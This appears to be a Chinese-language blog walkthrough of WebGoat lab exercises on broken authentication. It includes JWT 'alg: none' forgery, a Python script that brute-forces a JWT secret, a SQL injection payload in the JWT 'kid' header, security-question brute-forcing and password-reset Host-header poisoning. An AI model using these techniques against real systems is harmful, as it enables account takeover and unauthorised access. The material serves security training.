WebGoat之路-3-Broken Authentication & Sensitive Data Exposure
(A2)Broken Authentication
Authentication Bypasses
讲了一些简单的绕过认证的方法。
Stage 2
拦截给两个参数换个名字就行了。
翻了一下它的源代码:
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
return false;
}
if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
return false;
}
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
return false;
}
return true;
}
他首先检测了参数个数,然后后面的逻辑是是,如果某个参数存在,才检测这个参数的正确性,因此只需要换两个名称即可。
JWT tokens
介绍JWT token的原理,和漏洞利用。
推荐一个解密的网址:jwt.io
Stage 4
直接点投票,是没法投票的。看到传了的参数中cookie中的access_token
应该就是JWT。如下
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDI3NTUwMDcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.rJ6H8sUCHgv88txby4GJjczkqh3nQxePrAtjdn818404rn2IT1as2mp_OcOZ0z1tAzSTJcAC6r7bqNPh4GZvbw
按.
分成三段,对前两段base64解密。
//Header
{"alg":"HS512"}
//payload
{"iat":1602755007,"admin":"false","user":"Jerry"}
加密方式是HS512,实际上是HMAC with SHA-512。先尝试一下弱密码破解,但没成功。此时陷入了迷茫。网上搜了一波才知道原来可以直接改掉加密方式,把HS512
直接改成none
就行了。
//Header
{"alg": "none"}
//payload
{"iat":1602755007,"admin":"true","user":"Jerry"}
base64加密后得到token,注意,这里需要使用url safe的base64 ,因此把结尾的等号去掉,得到eyJhbGciOiJub25lIn0K.eyJpYXQiOjE2MDI3NTUwMDcsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9Cg.
,最后有一个点不要忘了!可以直接去浏览器修改cookie。点击删除按钮,就成了。
由此题看出,服务端在验证JWT时,指定签名算法是很重要的。
Stage 5
刚刚写的脚本有用了,直接爆破。hints
里字典都提供了。
import jwt
token = R"eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYwMTg4OTkzOCwiZXhwIjoxNjAxODg5OTk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.YC1qbCP3Be2FZQkmaAek69E1nlvHEwQOizCNJQhEYkM"
pas=[]
with open("google-10000-english-usa.txt","r") as f:
pas=f.readlines()
for p in pas:
p=p.strip()
try:
data = jwt.decode(token, p,verify=True)
print(p)
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print(p)
break
except jwt.exceptions.InvalidSignatureError:
continue
得到密码是washington
。
然后看看里面的内容吧:
//Header
{"alg":"HS256"}
//payload
{"iss":"WebGoat Token Builder","aud":"webgoat.org","iat":1601889938,"exp":1601889998,"sub":"tom@webgoat.org","username":"Tom","Email":"tom@webgoat.org","Role":["Manager","Project Administrator"]}
按照要求把Tom
改成WebGoat
,还有exp
到期时间也要改掉。再用python生成一次。
import jwt,datetime
data={
"iss":"WebGoat Token Builder",
"aud":"webgoat.org",
"iat":1601889938,
"exp":datetime.datetime.now() + datetime.timedelta(days=1),
"sub":"tom@webgoat.org",
"username":"WebGoat",
"Email":"tom@webgoat.org",
"Role":["Manager","Project Administrator"]
}
print(jwt.encode(data, 'washington', algorithm='HS256'))
就是最终答案了。
Stage 7
先打开提示中的log文件,里面有一段JWT。直接开始分析
{"alg":"HS512"}
{"iat":1526131411,"exp":1526217811,"admin":"false","user":"Tom"}
显然是过期了的,一种方法是像刚才那要破解出密码,但应该不会出一样的题。还是试一试前面的方法,把加密方式改成none
,并更新exp
。用同样的方式生成JWT,填到Headers的Authorization,就成功了。
Stage 8
先直接点Tom下方的Delete
按钮,得到自己的JWT。然后应该是要修改成Tom的。JWT内容如下
//Header
{
"typ":"JWT",
"kid":"webgoat_key",
"alg":"HS256"
}
//Payload
{
"iss":"WebGoat Token Builder",
"iat":1524210904,
"exp":1618905304,
"aud":"webgoat.org",
"sub":"jerry@webgoat.com",
"username":"Jerry",
"Email":"jerry@webgoat.com",
"Role":["Cat"]
}
尝试直接取消签名。算法改成none
,失败,服务器不接收。再试试暴力破解,暴力破解,也同样失败。只好看hints
了。原来加密用的密钥的id就放在Header部分了。继续看hints
,原来kid是存在数据库里的,那么必然会用SQL语句查询,于是便在JWT的Header里的kid进行SQL注入(这太难想到了吧),让其返回一个固定的值。
经过不断尝试(并偷翻源码),知道sql查询返回的实际上是密钥的base64编码。
因此构造这样的JWT,
python代码如下:
import jwt,datetime
data={
"iss": "WebGoat Token Builder",
"iat": 1524210904,
"exp": 1618905304,
"aud": "webgoat.org",
"sub": "jerry@webgoat.com",
"username": "Tom",
"Email": "jerry@webgoat.com",
"Role": [
"Cat"
]
}
head={
"typ": "JWT",
"kid": "'union select 'MQ==' from INFORMATION_SCHEMA.SYSTEM_USERS --",
"alg": "HS256"
}
data["exp"]=datetime.datetime.now() + datetime.timedelta(days=365)
print(jwt.encode(data,"1", algorithm='HS256',headers=head))
//output: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Iid1bmlvbiBzZWxlY3QgJ01RPT0nIGZyb20gSU5GT1JNQVRJT05fU0NIRU1BLlNZU1RFTV9VU0VSUyAtLSJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYzMzQ3NTM5OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6_HQzwkh4D3Y7JMH08PoTXDb2LH7_RUBWTWVuBDS7m8
这道题在JWT的头部进行SQL注入,把之前做的东西也加了进来,对我来说,难度还是比较大。
Password reset
介绍一些重置密码时的漏洞。
Stage 2
点击Forgot your password?
,输入用户名为你注册时的用户名,到WebWolf
里接受,再用新密码登录就行了。
Stage 4
让我们获得"tom", "admin" 和"larry"的密码,这里的第二个问题是喜欢的颜色,但颜色的单词也不多,所以先试了试爆破,用BurpSuite的Cluster Bomb模式,选好字典,得到了下面的结果。
Stage 5
让你选你觉得安全的问题,凭感觉选就行了,选一些答案的可能性较多,不易被尝试出来的。
Stage 6
根据hints
,是要让我们发送一个钓鱼链接。这里只需要把请求中的Host
头改成webwolf的地址就行了。根据hints
,Tom会点开所有发往他邮箱的链接,因此我们在WebWolf的Requests里就可以看到这个请求了。
然后把这个链接改成原来的WebGoat的地址,重新设置一个密码就行了。
Secure Passwords
这一节主要讲安全的密码的重要性。现在我的密码都是Bitwarden随机生成的,还是比较安全的,这里也推荐大家使用一些密码管理的平台,来保护密码的安全。
Stage 4
让你输入一个安全的密码,随便输输就行了。
Sensitive Data Exposure
在用http发送敏感信息时,请求若被他人截获,就可能导致信息暴露。不过https因该不存在这样的问题。
Stage 2
点击Log in
,发送的请求中有两个参数,填入框中即可。